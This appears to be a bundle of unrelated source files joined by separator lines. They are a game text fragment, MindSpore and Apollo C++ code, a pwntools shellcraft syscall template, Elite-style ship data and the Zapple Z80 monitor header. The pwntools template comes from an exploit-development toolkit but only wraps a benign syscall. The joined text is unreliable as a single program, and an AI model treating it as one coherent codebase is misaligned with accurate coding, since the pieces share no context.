line "Saving Time?"
done
UnknownText_0x1c60d1::
text "I lost the in-"
line "struction booklet"
cont "for the #GEAR."
para "Come back again in"
line "a while."
prompt
_ChangedFormText::
text_ram wStringBuffer2
text ""
line "changed form!"
prompt
|
/**
* Copyright 2021 Huawei Technologies Co., Ltd
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include "tools/converter/adapter/acl/mapper/avgpool_fusion_mapper.h"
#include <memory>
#include "tools/converter/adapter/acl/mapper/primitive_mapper_register.h"
#include "tools/converter/adapter/acl/mapper/tbe_op_def.h"
#include "include/registry/converter_context.h"
#include "src/common/log_util.h"
#include "ops/op_utils.h"
#include "ops/op_name.h"
namespace mindspore {
namespace lite {
STATUS AvgPoolFusionMapper::Mapper(const CNodePtr &cnode) {
ValueNodePtr value_node = nullptr;
PrimitivePtr src_prim = nullptr;
if (GetValueNodeAndPrimFromCnode(cnode, &value_node, &src_prim) != lite::RET_OK) {
MS_LOG(ERROR) << "Get value node and primitive from cnode failed.";
return lite::RET_ERROR;
}
auto attr_val = src_prim->GetAttr(ops::kFmkType);
int fmk_type = attr_val != nullptr ? GetValue<int>(attr_val) : converter::kFmkTypeTf;
PrimitivePtr dst_prim = nullptr;
CreateTargetPrim(src_prim, &dst_prim, fmk_type);
CHECK_NULL_RETURN(dst_prim);
dst_prim->SetAttrs(src_prim->attrs());
if (AdjustPoolAttr(fmk_type, kNameAvgPoolFusion, dst_prim) != lite::RET_OK) {
MS_LOG(ERROR) << "Adjust pool attr failed.";
return lite::RET_ERROR;
}
value_node->set_value(dst_prim);
return lite::RET_OK;
}
void AvgPoolFusionMapper::CreateTargetPrim(const PrimitivePtr &src_prim, PrimitivePtr *dst_prim, int fmk_type) {
if (dst_prim == nullptr) {
MS_LOG(ERROR) << "Target prim is nullptr.";
return;
}
if (fmk_type == converter::kFmkTypeCaffe) {
*dst_prim = std::make_shared<acl::Pooling>();
} else if (fmk_type == converter::kFmkTypeOnnx) {
ValuePtr val_ptr = src_prim->GetAttr(ops::kKernelSize);
if (val_ptr == nullptr) {
*dst_prim = std::make_shared<acl::GlobalAveragePool>();
} else {
*dst_prim = std::make_shared<acl::AvgPoolV2>();
}
} else {
ops::AvgPool dst_node;
*dst_prim = dst_node.GetPrim();
}
}
REGISTER_PRIMITIVE_MAPPER(kNameAvgPoolFusion, AvgPoolFusionMapper)
} // namespace lite
} // namespace mindspore
|
<%
from pwnlib.shellcraft.amd64.linux import syscall
%>
<%page args="fd, file, type, flag"/>
<%docstring>
Invokes the syscall faccessat. See 'man 2 faccessat' for more information.
Arguments:
fd(int): fd
file(char): file
type(int): type
flag(int): flag
</%docstring>
${syscall('SYS_faccessat', fd, file, type, flag)}
|
Shuttle_Mk_2: DB $0F
DW $09C4
DW Shuttle_Mk_2Edges
DB Shuttle_Mk_2EdgesSize
DB $00, $26
DB Shuttle_Mk_2VertSize /6
DB Shuttle_Mk_2VertSize
DB Shuttle_Mk_2EdgesCnt
DB $00, $00
DB Shuttle_Mk_2NormalsSize
DB $0A, $20, $09
DW Shuttle_Mk_2Normals
DB $02, $00
DW Shuttle_Mk_2Vertices
DB 0,0 ; Type and Tactics
DB 0
Shuttle_Mk_2Vertices: DB $00, $00, $28, $1F, $23, $01
DB $00, $14, $1E, $1F, $34, $00
DB $14, $00, $1E, $9F, $15, $00
DB $00, $14, $1E, $5F, $26, $11
DB $14, $00, $1E, $1F, $37, $22
DB $14, $14, $14, $9F, $58, $04
DB $14, $14, $14, $DF, $69, $15
DB $14, $14, $14, $5F, $7A, $26
DB $14, $14, $14, $1F, $7B, $34
DB $00, $14, $28, $3F, $BC, $48
DB $14, $00, $28, $BF, $9C, $58
DB $00, $14, $28, $7F, $AC, $69
DB $14, $00, $28, $3F, $BC, $7A
DB $04, $04, $28, $AA, $CC, $CC
DB $04, $04, $28, $EA, $CC, $CC
DB $04, $04, $28, $6A, $CC, $CC
DB $04, $04, $28, $2A, $CC, $CC
Shuttle_Mk_2VertSize: equ $ - Shuttle_Mk_2Vertices
Shuttle_Mk_2Edges: DB $1F, $01, $00, $08
DB $1F, $12, $00, $0C
DB $1F, $23, $00, $10
DB $1F, $30, $00, $04
DB $1F, $04, $04, $14
DB $1F, $05, $08, $14
DB $1F, $15, $08, $18
DB $1F, $16, $0C, $18
DB $1F, $26, $0C, $1C
DB $1F, $27, $10, $1C
DB $1F, $37, $10, $20
DB $1F, $34, $04, $20
DB $1F, $48, $14, $24
DB $1F, $58, $14, $28
DB $1F, $59, $18, $28
DB $1F, $69, $18, $2C
DB $1F, $6A, $1C, $2C
DB $1F, $7A, $1C, $30
DB $1F, $7B, $20, $30
DB $1F, $4B, $20, $24
DB $1F, $8C, $24, $28
DB $1F, $9C, $28, $2C
DB $1F, $AC, $2C, $30
DB $1F, $BC, $30, $24
DB $0A, $CC, $34, $38
DB $0A, $CC, $38, $3C
DB $0A, $CC, $3C, $40
DB $0A, $CC, $40, $34
Shuttle_Mk_2EdgesSize: equ $ - Shuttle_Mk_2Edges
Shuttle_Mk_2EdgesCnt: equ Shuttle_Mk_2EdgesSize/4
Shuttle_Mk_2Normals: DB $9F, $27, $27, $4E
DB $DF, $27, $27, $4E
DB $5F, $27, $27, $4E
DB $1F, $27, $27, $4E
DB $1F, $00, $60, $00
DB $9F, $60, $00, $00
DB $5F, $00, $60, $00
DB $1F, $60, $00, $00
DB $BF, $42, $42, $16
DB $FF, $42, $42, $16
DB $7F, $42, $42, $16
DB $3F, $42, $42, $16
DB $3F, $00, $00, $60
Shuttle_Mk_2NormalsSize: equ $ - Shuttle_Mk_2Normals
Shuttle_Mk_2Len: equ $ - Shuttle_Mk_2
|
/******************************************************************************
* Copyright 2018 The Apollo Authors. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*****************************************************************************/
#include "modules/localization/ndt/ndt_locator/lidar_locator_ndt.h"
#include <algorithm>
#include <sstream>
#include <string>
#include <utility>
#include <vector>
#include "pcl/common/transforms.h"
#include "pcl/io/pcd_io.h"
#include "cyber/common/log.h"
#include "modules/common/time/timer.h"
#include "modules/localization/common/localization_gflags.h"
namespace apollo {
namespace localization {
namespace ndt {
LidarLocatorNdt::LidarLocatorNdt()
: config_("map_ndt_v01"), map_(&config_), map_preload_node_pool_(30, 12) {
Eigen::Translation3d trans(0, 0, 0);
Eigen::Quaterniond quat(1, 0, 0, 0);
velodyne_extrinsic_ = trans * quat;
is_initialized_ = false;
is_map_loaded_ = false;
lidar_height_ = 1.7;
filter_x_ = 128;
filter_y_ = 128;
}
LidarLocatorNdt::~LidarLocatorNdt() {}
void LidarLocatorNdt::Init(const Eigen::Affine3d& init_location,
unsigned int resolution_id, int zone_id) {
location_ = init_location;
resolution_id_ = resolution_id;
zone_id_ = zone_id;
pre_input_location_ = location_;
pre_estimate_location_ = location_;
pre_imu_height_ = location_.translation()(2);
ndt_max_iterations_ = FLAGS_ndt_max_iterations;
ndt_target_resolution_ = FLAGS_ndt_target_resolution;
ndt_line_search_step_size_ = FLAGS_ndt_line_search_step_size;
ndt_transformation_epsilon_ = FLAGS_ndt_transformation_epsilon;
if (!is_map_loaded_) {
map_preload_node_pool_.Initial(&(map_.GetMapConfig()));
map_.InitMapNodeCaches(12, 24);
map_.AttachMapNodePool(&map_preload_node_pool_);
map_.LoadMapArea(location_.translation(), resolution_id_, zone_id_,
filter_x_, filter_y_);
AINFO << "Locator map pre-loading is done.";
is_map_loaded_ = true;
}
// set filter
filter_x_ =
static_cast<int>(static_cast<float>(FLAGS_ndt_filter_size_x) /
map_.GetMapConfig().map_resolutions_[resolution_id_]);
filter_y_ =
static_cast<int>(static_cast<float>(FLAGS_ndt_filter_size_y) /
map_.GetMapConfig().map_resolutions_[resolution_id_]);
AINFO << "Filter size: " << filter_x_ << ", " << filter_y_;
// set NDT
AINFO << "Init NDT." << std::endl;
reg_.SetMaximumIterations(ndt_max_iterations_);
reg_.SetResolution(static_cast<float>(ndt_target_resolution_));
reg_.SetStepSize(ndt_line_search_step_size_);
reg_.SetTransformationEpsilon(ndt_transformation_epsilon_);
is_initialized_ = true;
}
void LidarLocatorNdt::LoadMap(const Eigen::Affine3d& init_location,
unsigned int resolution_id, int zone_id) {
map_preload_node_pool_.Initial(&(map_.GetMapConfig()));
map_.InitMapNodeCaches(12, 24);
map_.AttachMapNodePool(&map_preload_node_pool_);
map_.LoadMapArea(location_.translation(), resolution_id, zone_id, filter_x_,
filter_y_);
AINFO << "Locator map pre-loading is done.";
is_map_loaded_ = true;
}
void LidarLocatorNdt::SetMapFolderPath(const std::string folder_path) {
if (!map_.SetMapFolderPath(folder_path)) {
AERROR << "Map folder is invalid!";
}
}
void LidarLocatorNdt::SetVelodyneExtrinsic(const Eigen::Affine3d& extrinsic) {
velodyne_extrinsic_ = extrinsic;
}
void LidarLocatorNdt::SetLidarHeight(double height) {
lidar_height_ = height;
AINFO << "Set height: " << lidar_height_;
}
void LidarLocatorNdt::SetOnlineCloudResolution(const float& online_resolution) {
proj_reslution_ = online_resolution;
AINFO << "Proj resolution: " << proj_reslution_;
}
int LidarLocatorNdt::Update(unsigned int frame_idx, const Eigen::Affine3d& pose,
const LidarFrame& lidar_frame) {
// Increasement from INSPVA
Eigen::Vector3d trans_diff =
pose.translation() - pre_input_location_.translation();
Eigen::Vector3d trans_pre_local =
pre_estimate_location_.translation() + trans_diff;
Eigen::Quaterniond quatd(pose.linear());
Eigen::Translation3d transd(trans_pre_local);
Eigen::Affine3d center_pose = transd * quatd;
Eigen::Quaterniond pose_qbn(pose.linear());
AINFO << "original pose: " << std::setprecision(15) << pose.translation()[0]
<< ", " << pose.translation()[1] << ", " << pose.translation()[2]
<< ", " << pose_qbn.x() << ", " << pose_qbn.y() << ", " << pose_qbn.z()
<< ", " << pose_qbn.w();
// Get lidar pose Twv = Twb * Tbv
Eigen::Affine3d transform = center_pose * velodyne_extrinsic_;
predict_location_ = center_pose;
// Pre-load the map nodes
#ifdef USE_PRELOAD_MAP_NODE
bool map_is_ready =
map_.LoadMapArea(center_pose.translation(), resolution_id_, zone_id_,
filter_x_, filter_y_);
map_.PreloadMapArea(center_pose.translation(), trans_diff, resolution_id_,
zone_id_);
#endif
// Online pointcloud are projected into a ndt map node. (filtered)
double lt_x = pose.translation()[0];
double lt_y = pose.translation()[1];
double map_resolution = map_.GetMapConfig().map_resolutions_[resolution_id_];
lt_x -= (map_.GetMapConfig().map_node_size_x_ * map_resolution / 2.0);
lt_y -= (map_.GetMapConfig().map_node_size_y_ * map_resolution / 2.0);
// Start Ndt method
// Convert online points to pcl pointcloud
apollo::common::time::Timer online_filtered_timer;
online_filtered_timer.Start();
pcl::PointCloud<pcl::PointXYZ>::Ptr online_points(
new pcl::PointCloud<pcl::PointXYZ>());
for (unsigned int i = 0; i < lidar_frame.pt_xs.size(); ++i) {
pcl::PointXYZ p(lidar_frame.pt_xs[i], lidar_frame.pt_ys[i],
lidar_frame.pt_zs[i]);
online_points->push_back(p);
}
// Filter online points
AINFO << "Online point cloud leaf size: " << proj_reslution_;
pcl::PointCloud<pcl::PointXYZ>::Ptr online_points_filtered(
new pcl::PointCloud<pcl::PointXYZ>());
pcl::VoxelGrid<pcl::PointXYZ> sor;
sor.setInputCloud(online_points);
sor.setLeafSize(proj_reslution_, proj_reslution_, proj_reslution_);
sor.filter(*online_points_filtered);
AINFO << "Online Pointcloud size: " << online_points->size() << "/"
<< online_points_filtered->size();
online_filtered_timer.End("online point calc end.");
// Obtain map pointcloud
apollo::common::time::Timer map_timer;
map_timer.Start();
Eigen::Vector2d left_top_coord2d(lt_x, lt_y);
ComposeMapCells(left_top_coord2d, zone_id_, resolution_id_,
map_.GetMapConfig().map_resolutions_[resolution_id_],
transform.inverse());
// Convert map pointcloud to local corrdinate
pcl::PointCloud<pcl::PointXYZ>::Ptr pcl_map_point_cloud(
new pcl::PointCloud<pcl::PointXYZ>());
for (unsigned int i = 0; i < cell_map_.size(); ++i) {
Leaf& le = cell_map_[i];
float mean_0 = static_cast<float>(le.mean_(0));
float mean_1 = static_cast<float>(le.mean_(1));
float mean_2 = static_cast<float>(le.mean_(2));
pcl_map_point_cloud->push_back(pcl::PointXYZ(mean_0, mean_1, mean_2));
}
map_timer.End("Map create end.");
// Set left top corner for reg
reg_.SetLeftTopCorner(map_left_top_corner_);
// Ndt calculation
reg_.SetInputTarget(cell_map_, pcl_map_point_cloud);
reg_.SetInputSource(online_points_filtered);
apollo::common::time::Timer ndt_timer;
ndt_timer.Start();
Eigen::Matrix3d inv_R = transform.inverse().linear();
Eigen::Matrix4d init_matrix = Eigen::Matrix4d::Identity();
init_matrix.block<3, 3>(0, 0) = inv_R.inverse();
pcl::PointCloud<pcl::PointXYZ>::Ptr output_cloud(
new pcl::PointCloud<pcl::PointXYZ>);
reg_.Align(output_cloud, init_matrix.cast<float>());
ndt_timer.End("Ndt Align End.");
fitness_score_ = reg_.GetFitnessScore();
bool has_converged = reg_.HasConverged();
int iteration = reg_.GetFinalNumIteration();
Eigen::Matrix4d ndt_pose = reg_.GetFinalTransformation().cast<double>();
AINFO << "Ndt summary:";
AINFO << "Fitness Score: " << fitness_score_;
AINFO << "Has_converged: " << has_converged;
AINFO << "Iteration: %d: " << iteration;
AINFO << "Relative Ndt pose: " << ndt_pose(0, 3) << ", " << ndt_pose(1, 3)
<< ", " << ndt_pose(2, 3);
// Twv
Eigen::Affine3d lidar_location = Eigen::Affine3d::Identity();
lidar_location = transform.matrix() * init_matrix.inverse() * ndt_pose;
// Save results
location_ = lidar_location * velodyne_extrinsic_.inverse();
pre_input_location_ = pose;
pre_estimate_location_ = location_;
pre_imu_height_ = location_.translation()(2);
if (map_is_ready) {
return 0;
} else {
return -1;
}
return 0;
}
Eigen::Affine3d LidarLocatorNdt::GetPose() const { return location_; }
Eigen::Vector3d LidarLocatorNdt::GetPredictLocation() const {
return predict_location_.translation();
}
Eigen::Matrix3d LidarLocatorNdt::GetLocationCovariance() const {
return location_covariance_;
}
void LidarLocatorNdt::ComposeMapCells(
const Eigen::Vector2d& left_top_coord2d, int zone_id,
unsigned int resolution_id, float map_pixel_resolution,
const Eigen::Affine3d& inverse_transform) {
apollo::common::time::Timer timer;
timer.Start();
unsigned int map_node_size_x = map_.GetMapConfig().map_node_size_x_;
unsigned int map_node_size_y = map_.GetMapConfig().map_node_size_y_;
unsigned int filter_size_x = filter_x_;
unsigned int filter_size_y = filter_y_;
// get the left top coordinate of input online pointcloud
Eigen::Vector2d coord2d = left_top_coord2d;
coord2d[0] -= map_pixel_resolution * static_cast<float>(filter_size_x / 2);
coord2d[1] -= map_pixel_resolution * static_cast<float>(filter_size_y / 2);
// get the node index of left top corner and global coordinate
MapNodeIndex map_id = MapNodeIndex::GetMapNodeIndex(
map_.GetMapConfig(), coord2d, resolution_id, zone_id);
NdtMapNode* map_node_lt =
dynamic_cast<NdtMapNode*>(map_.GetMapNodeSafe(map_id));
assert(map_.IsMapNodeExist(map_id));
unsigned int map_coord_x = 0;
unsigned int map_coord_y = 0;
map_node_lt->GetCoordinate(coord2d, &map_coord_x, &map_coord_y);
std::vector<std::vector<int>> map_nodes_zones;
int top_left_start_x = static_cast<int>(map_coord_x);
int top_left_start_y = static_cast<int>(map_coord_y);
int top_left_end_x = static_cast<int>(map_node_size_x) - 1;
int top_left_end_y = static_cast<int>(map_node_size_y) - 1;
std::vector<int> node_zone;
node_zone.push_back(top_left_start_x);
node_zone.push_back(top_left_start_y);
node_zone.push_back(top_left_end_x);
node_zone.push_back(top_left_end_y);
map_nodes_zones.push_back(node_zone);
int top_center_start_x = 0;
int top_center_start_y = top_left_start_y;
int top_center_end_x = static_cast<int>(map_coord_x) - 1 +
2 * static_cast<int>(filter_size_x / 2);
top_center_end_x = top_center_end_x > static_cast<int>(map_node_size_x) - 1
? static_cast<int>(map_node_size_x) - 1
: top_center_end_x;
int top_center_end_y = static_cast<int>(map_node_size_y) - 1;
node_zone.clear();
node_zone.push_back(top_center_start_x);
node_zone.push_back(top_center_start_y);
node_zone.push_back(top_center_end_x);
node_zone.push_back(top_center_end_y);
map_nodes_zones.push_back(node_zone);
int top_right_start_x = 0;
int top_right_start_y = top_left_start_y;
int top_right_end_x = 2 * static_cast<int>(filter_size_x / 2) -
(top_left_end_x - top_left_start_x + 1) - 1;
int top_right_end_y = static_cast<int>(map_node_size_y) - 1;
node_zone.clear();
node_zone.push_back(top_right_start_x);
node_zone.push_back(top_right_start_y);
node_zone.push_back(top_right_end_x);
node_zone.push_back(top_right_end_y);
map_nodes_zones.push_back(node_zone);
int middle_left_start_x = top_left_start_x;
int middle_left_start_y = 0;
int middle_left_end_x = top_left_end_x;
int middle_left_end_y = static_cast<int>(map_coord_y) - 1 +
2 * static_cast<int>(filter_size_y / 2);
middle_left_end_y = middle_left_end_y > static_cast<int>(map_node_size_y) - 1
? static_cast<int>(map_node_size_y) - 1
: middle_left_end_y;
node_zone.clear();
node_zone.push_back(middle_left_start_x);
node_zone.push_back(middle_left_start_y);
node_zone.push_back(middle_left_end_x);
node_zone.push_back(middle_left_end_y);
map_nodes_zones.push_back(node_zone);
int middle_center_start_x = 0;
int middle_center_start_y = 0;
int middle_center_end_x = top_center_end_x;
int middle_center_end_y = middle_left_end_y;
node_zone.clear();
node_zone.push_back(middle_center_start_x);
node_zone.push_back(middle_center_start_y);
node_zone.push_back(middle_center_end_x);
node_zone.push_back(middle_center_end_y);
map_nodes_zones.push_back(node_zone);
int middle_right_start_x = 0;
int middle_right_start_y = 0;
int middle_right_end_x = top_right_end_x;
int middle_right_end_y = middle_center_end_y;
node_zone.clear();
node_zone.push_back(middle_right_start_x);
node_zone.push_back(middle_right_start_y);
node_zone.push_back(middle_right_end_x);
node_zone.push_back(middle_right_end_y);
map_nodes_zones.push_back(node_zone);
int bottom_left_start_x = top_left_start_x;
int bottom_left_start_y = 0;
int bottom_left_end_x = top_left_end_x;
int bottom_left_end_y = 2 * static_cast<int>(filter_size_y / 2) -
(top_left_end_y - top_left_start_y + 1) - 1;
node_zone.clear();
node_zone.push_back(bottom_left_start_x);
node_zone.push_back(bottom_left_start_y);
node_zone.push_back(bottom_left_end_x);
node_zone.push_back(bottom_left_end_y);
map_nodes_zones.push_back(node_zone);
int bottom_center_start_x = middle_center_start_x;
int bottom_center_start_y = bottom_left_start_y;
int bottom_center_end_x = middle_center_end_x;
int bottom_center_end_y = bottom_left_end_y;
node_zone.clear();
node_zone.push_back(bottom_center_start_x);
node_zone.push_back(bottom_center_start_y);
node_zone.push_back(bottom_center_end_x);
node_zone.push_back(bottom_center_end_y);
map_nodes_zones.push_back(node_zone);
int bottom_right_start_x = middle_right_start_x;
int bottom_right_start_y = bottom_left_start_y;
int bottom_right_end_x = middle_right_end_x;
int bottom_right_end_y = bottom_left_end_y;
node_zone.clear();
node_zone.push_back(bottom_right_start_x);
node_zone.push_back(bottom_right_start_y);
node_zone.push_back(bottom_right_end_x);
node_zone.push_back(bottom_right_end_y);
map_nodes_zones.push_back(node_zone);
std::vector<int> start_x_indices(3, 0);
std::vector<int> start_y_indices(3, 0);
start_x_indices[0] = 0;
start_x_indices[1] = top_left_end_x - top_left_start_x + 1;
start_x_indices[2] =
start_x_indices[1] + top_center_end_x - top_center_start_x + 1;
start_y_indices[0] = 0;
start_y_indices[1] = top_left_end_y - top_left_start_y + 1;
start_y_indices[2] =
start_y_indices[1] + middle_center_end_y - middle_center_start_y + 1;
std::vector<std::pair<int, int>> composed_map_indices;
for (int y = 0; y < 3; ++y) {
for (int x = 0; x < 3; ++x) {
composed_map_indices.push_back(
std::make_pair(start_x_indices[x], start_y_indices[y]));
}
}
Eigen::Vector2d coord2d_center =
map_node_lt->GetCoordinate(map_node_size_x / 2, map_node_size_y / 2);
cell_map_.clear();
Eigen::Affine3d transform = inverse_transform.inverse();
Eigen::Vector3d R_inv_t = -transform.translation();
// Calculate left top corner
map_left_top_corner_ = Eigen::Vector3d::Zero();
map_left_top_corner_.block<2, 1>(0, 0) = map_node_lt->GetLeftTopCorner();
map_left_top_corner_ += R_inv_t;
for (int y = 0; y < 3; ++y) {
for (int x = 0; x < 3; ++x) {
if (map_nodes_zones[y * 3 + x][2] - map_nodes_zones[y * 3 + x][0] >= 0 &&
map_nodes_zones[y * 3 + x][3] - map_nodes_zones[y * 3 + x][1] >= 0) {
// get map node
NdtMapNode* map_node_ptr = nullptr;
if (x == 0 && y == 0) {
map_node_ptr = map_node_lt;
} else {
Eigen::Vector2d coord2d_xy;
coord2d_xy[0] =
coord2d_center[0] + static_cast<double>(x * map_node_size_x) *
static_cast<double>(map_pixel_resolution);
coord2d_xy[1] =
coord2d_center[1] + static_cast<double>(y * map_node_size_y) *
static_cast<double>(map_pixel_resolution);
MapNodeIndex map_id = MapNodeIndex::GetMapNodeIndex(
map_.GetMapConfig(), coord2d_xy, resolution_id, zone_id);
NdtMapNode* map_node_xy =
dynamic_cast<NdtMapNode*>(map_.GetMapNodeSafe(map_id));
assert(map_.IsMapNodeExist(map_id));
map_node_ptr = map_node_xy;
}
// get map matrix
NdtMapMatrix& map_cells =
dynamic_cast<NdtMapMatrix&>(map_node_ptr->GetMapCellMatrix());
// start obtain cells in MapNdtMatrix
const Eigen::Vector2d& left_top_corner =
map_node_ptr->GetLeftTopCorner();
double resolution = map_node_ptr->GetMapResolution();
double resolution_z = map_node_ptr->GetMapResolutionZ();
for (int map_y = map_nodes_zones[y * 3 + x][1];
map_y <= map_nodes_zones[y * 3 + x][3]; ++map_y) {
for (int map_x = map_nodes_zones[y * 3 + x][0];
map_x <= map_nodes_zones[y * 3 + x][2]; ++map_x) {
const NdtMapCells& cell_ndt = map_cells.GetMapCell(map_y, map_x);
if (cell_ndt.cells_.size() > 0) {
for (auto it = cell_ndt.cells_.begin();
it != cell_ndt.cells_.end(); ++it) {
unsigned int cell_count = it->second.count_;
if (cell_count >= 6) {
Leaf leaf;
leaf.nr_points_ = static_cast<int>(cell_count);
Eigen::Vector3d eigen_point(Eigen::Vector3d::Zero());
eigen_point(0) = left_top_corner[0] + map_x * resolution +
it->second.centroid_[0];
eigen_point(1) = left_top_corner[1] + map_y * resolution +
it->second.centroid_[1];
eigen_point(2) =
resolution_z * it->first + it->second.centroid_[2];
leaf.mean_ = (eigen_point + R_inv_t);
if (it->second.is_icov_available_ == 1) {
leaf.icov_ = it->second.centroid_icov_.cast<double>();
} else {
leaf.nr_points_ = -1;
}
cell_map_.push_back(leaf);
}
}
}
}
}
}
}
}
timer.End("Compose map cells.");
}
} // namespace ndt
} // namespace localization
} // namespace apollo
|
; << ZAPPLE 2-K MONITOR SYSTEM >>
; by
;
; TECHNICAL DESIGN LABS, INC.
; RESEARCH PARK
; PRINCETON, NEW JERSEY 08540
;
; COPYRIGHT JULY 1976 BY TDL INC.
;
; ASSEMBLED BY ROGER AMIDON
;
; SEPTEMBER 2017 BY UDO MUNK:
; MODIFIED TO ZILOG/MOSTEK SYNTAX TO ASSEMBLE WITH Z80ASM
; FIXED TYPOS AND BUGS
; CHANGED TYPEWRITER I/O TO MITS 2SIO CHANNEL A
; CHANGED CASSETTE I/O TO MITS ACR SIO
;
; USE Z80ASM VERSION 1.8, WON'T ASSEMBLE CORRECT WITH VERSIONS BEFORE!
;
;
BASE EQU 0F000H
USER EQU BASE+800H
;
TITLE <Zapple Monitor, Version 1.11, Dec. 18, 1976>
;
RST7 EQU 38H ;RST 7 (LOCATION FOR TRAP)
;IOBYT EQU 2 ;R/W PORT FOR TEMP. STORAGE
IOBYT EQU 0EFFFH ;MEMORY LOCATION FOR TEMP. STORAGE
;SENSE EQU 3 ;PORT FOR INITIAL I/O CONFIGURATION (IN)
SWITCH EQU 0FFH ;FRONT PANEL SENSE SWITCHES
;RCP EQU SENSE ;READER CONTROL PORT (OUT)
NN EQU 0 ;"I" REGISTER INITIAL VALUE
;
; EXTERNAL EQUATES
;
; NAME ZAPPLE
; EXT COLOC
; EXT LNLOC
; EXT LULOC
; EXT PTPL
; EXT PULOC
; EXT CSLOC
; EXT CILOC
; EXT RPTPL
; EXT RULOC
;
;
; <I/O DEVICES>
;
;-TELEPRINTER
;
TTI EQU 11H ;DATA IN PORT
TTO EQU 11H ;DATA OUT PORT
TTS EQU 10H ;STATUS PORT (IN)
TTS2 EQU 12H ;STATUS PORT MITS 2SIO B
TTYDA EQU 01H ;DATA AVAILABLE MASK BIT
TTYBE EQU 02H ;XMTR BUFFER EMPTY MASK
;
;-C.R.T. SYSTEM
;
CRTI EQU 51H ;DATA PORT (IN)
CRTS EQU 50H ;STATUS PORT (IN)
CRTO EQU 51H ;DATA PORT (OUT)
CRTDA EQU 40H ;DATA AVAILABLE MASK
CRTBE EQU 80H ;XMTR BUFFER EMPTY MASK
;
;-CASSETTE SYSTEM
;
RCSD EQU 07H ;DATA IN PORT
RCSS EQU 06H ;STATUS PORT (IN)
RCSDA EQU 01H ;DATA AVAILABLE MASK
PCASO EQU 07H ;DATA PORT (OUT)
PCASS EQU 06H ;CONTROL PORT (OUT)
PCSBE EQU 80H ;XMTR BUFFER EMPTY MASK
;
; <CONSTANTS>
;
FALSE EQU 0 ;ISN'T SO
TRUE EQU ~FALSE ;IT IS SO
CR EQU 0DH ;ASCII CARRIAGE RETURN
LF EQU 0AH ;ASCII LINE FEED
BELL EQU 7 ;DING
RUB EQU 0FFH ;RUB OUT
FIL EQU 00 ;FILL CHARACTER AFTER CRLF
MAX EQU 7 ;NUMBER OF QUES IN EOF
;
; <I/O CONFIGURATION MASKS>
;
CMSK EQU 11111100B ;CONSOLE DEVICE
RMSK EQU 11110011B ;STORAGE DEVICE (IN)
PMSK EQU 11001111B ;STORAGE DEVICE (OUT)
LMSK EQU 00111111B ;LIST DEVICE
;
;
;-CONSOLE CONFIGURATION
CTTY EQU 0 ;TELEPRINTER
CCRT EQU 1 ;C.R.T.
BATCH EQU 2 ;READER FOR INPUT, LIST FOR OUTPUT
CUSE EQU 3 ;USER DEFINED
;
;-STORAGE INPUT CONFIGURATION
RTTY EQU 0 ;TELEPRINTER READER
RPTR EQU 4 ;HIGH-SPEED RDR (EXTERNAL ROUTINE)
RCAS EQU 8 ;CASSETTE
RUSER EQU 0CH ;USER DEFINED
;
;-STORAGE OUTPUT CONFIGURATION
PTTY EQU 0 ;TELEPRINTER PUNCH
PPTP EQU 10H ;HIGH-SPEED PUNCH (EXTERNAL ROUTINE)
PCAS EQU 20H ;CASSETTE
PUSER EQU 30H ;USER DEFINED
;
;-LIST DEVICE CONFIGURATION
LTTY EQU 0 ;TELEPRINTER PRINTER
LCRT EQU 40H ;C.R.T. SCREEN
LINE EQU 80H ;LINE PRINTER (EXTERNAL ROUTINE)
LUSER EQU 0C0H ;USER DEFINED
;
;
; VECTOR FOR USER DEFINED ROUTINES
;
CILOC EQU USER ;CONSOLE INPUT
COLOC EQU CILOC+3 ;CONSOLE OUTPUT
RPTPL EQU COLOC+3 ;HIGH-SPEED READER
RULOC EQU RPTPL+3 ;USER DEFINED STORAGE (INPUT)
PTPL EQU RULOC+3 ;HIGH-SPEED PUNCH
PULOC EQU PTPL+3 ;USER DEFINED STORAGE (OUTPUT)
LNLOC EQU PULOC+3 ;LINE PRINTER
LULOC EQU LNLOC+3 ;USER DEFINED PRINTER
CSLOC EQU LULOC+3 ;CONSOLE INPUT STATUS ROUTINE
J EQU CSLOC+3
;
; PROGRAM CODE BEGINS HERE
;
;
ORG BASE
JP BEGIN ;GO AROUND VECTORS
;
; <VECTOR FOR CALLING PROGRAMS>
;
; THESE VECTORS MAY BE USED BY USER WRITTEN
; PROGRAMS TO SIMPLIFY THE HANDLING OF I/O
; FROM SYSTEM TO SYSTEM. WHATEVER THE CURRENT
; ASSIGNED DEVICE, THESE VECTORS WILL PERFORM
; THE REQUIRED I/O OPERATION, AND RETURN TO
; THE CALLING PROGRAM. (RET)
;
; THE REGISTER CONVENTION USED FOLLOWS-
;
; ANY INPUT OR OUTPUT DEVICE
; CHARACTER TO BE OUTPUT IN 'C' REGISTER.
; CHARACTER WILL BE IN 'A' REGISTER UPON
; RETURNING FROM AN INPUT OR OUTPUT.
; 'CSTS'-
; RETURNS TRUE (0FFH IN 'A' REG.) IF THERE IS
; SOMETHING WAITING, AND ZERO (00) IF NOT.
; 'IOCHK'-
; RETURNS WITH THE CURRENT I/O CONFIGURATION
; BYTE IN 'A' REGISTER.
; 'IOSET'-
; ALLOWS A PROGRAM TO DYNAMICALLY ALTER THE
; CURRENT I/O CONFIGURATION, AND REQUIRES
; THE NEW BYTE IN 'C' REGISTER.
; 'MEMCK'-
; RETURNS WITH THE HIGHEST ALLOWED USER
; MEMORY LOCATION. 'B'=HIGH BYTE, 'A'=LOW.
; 'TRAP'-
; THIS IS THE 'BREAKPOINT' ENTRY POINT,
; BUT MAY BE 'CALLED'. IT WILL SAVE
; THE MACHINE STATE. RETURN CAN BE MADE WITH
; A SIMPLE 'G[CR]' ON THE CONSOLE.
;
JP CI ;CONSOLE INPUT
JP RI ;READER INPUT
JP CO ;CONSOLE OUTPUT
JP PUO ;PUNCH OUTPUT
